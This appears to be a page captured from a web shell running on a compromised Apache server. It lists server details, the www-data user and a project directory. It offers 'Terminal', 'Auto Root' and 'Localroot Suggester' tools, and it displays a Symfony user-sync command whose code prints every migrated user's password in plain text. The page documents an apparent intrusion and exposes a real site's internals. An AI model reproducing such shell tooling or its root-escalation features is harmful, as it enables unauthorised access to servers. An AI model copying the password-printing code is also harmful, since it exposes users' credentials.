Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
UserBundle /
Command /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
OauthClientCreateCommand.php
2.35
KB
-rwxrwxr-x
2026-05-25 12:28
UserListCommand.php
2.34
KB
-rwxrwxr-x
2026-04-02 12:06
UserListSyncCommand.php
2.74
KB
-rwxrwxr-x
2026-04-02 12:06
UserNetworkCommand.php
940
B
-rwxrwxr-x
2026-04-02 12:06
php_errors.log
1.3
KB
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\UserBundle\Command; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; use App\UserBundle\Entity\UserList; /** * SF Guard User Command * * @author Otto Saayman <otto@igotafrica.com> * @package UserBundle * @subpackage Controller * @version 0.0.1 */ #[AsCommand(name: 'iga:user:sync')] class UserListSyncCommand extends Command { protected static $defaultDescription = 'Synchronise users with old users table'; protected function configure() { $this ->setName('iga:user:sync') ->setDescription('Synchronise users with old users table') ; } protected function execute(InputInterface $input, OutputInterface $output) { try { $oldUsers = $this->getApplication()->getKernel()->getContainer()->get('user_list_old.manager')->findAll(); foreach ($oldUsers as $oldUser) { $user = $this->getApplication()->getKernel()->getContainer()->get('user_list.manager')->findOneBy(array('username' => $oldUser->getUsername())); if (!is_object($user)) { $user = new UserList(); } $user->setUsername($oldUser->getUsername()); $user->setPlainPassword($oldUser->getPassword()); $user->setIsSuperAdmin(false); $user->setFirstNameString($oldUser->getUsername()); $user->setIsActive($oldUser->isActivated()); $user->setEMailAddressString($oldUser->getEmailAddress()); $user->setEMailAddressSubscribed(true); $user->setDeleted(false); $this->getApplication()->getKernel()->getContainer()->get('user_list.manager')->updatePassword($user); if (!is_null($oldUser->getAccessLevel()) && $oldUser->getAccessLevel() < 0) { //Internal staff $user->setIsSuperAdmin(true); } $this->getApplication()->getKernel()->getContainer()->get('user_list.manager')->save($user); $output->writeln(sprintf('Set %s user with password %s', $oldUser->getUsername(), $oldUser->getPassword())); } // foreach } catch (\Throwable $ex) { $output->writeln($ex->getMessage()); $output->writeln($ex->getTraceAsString()); } return Command::SUCCESS; } }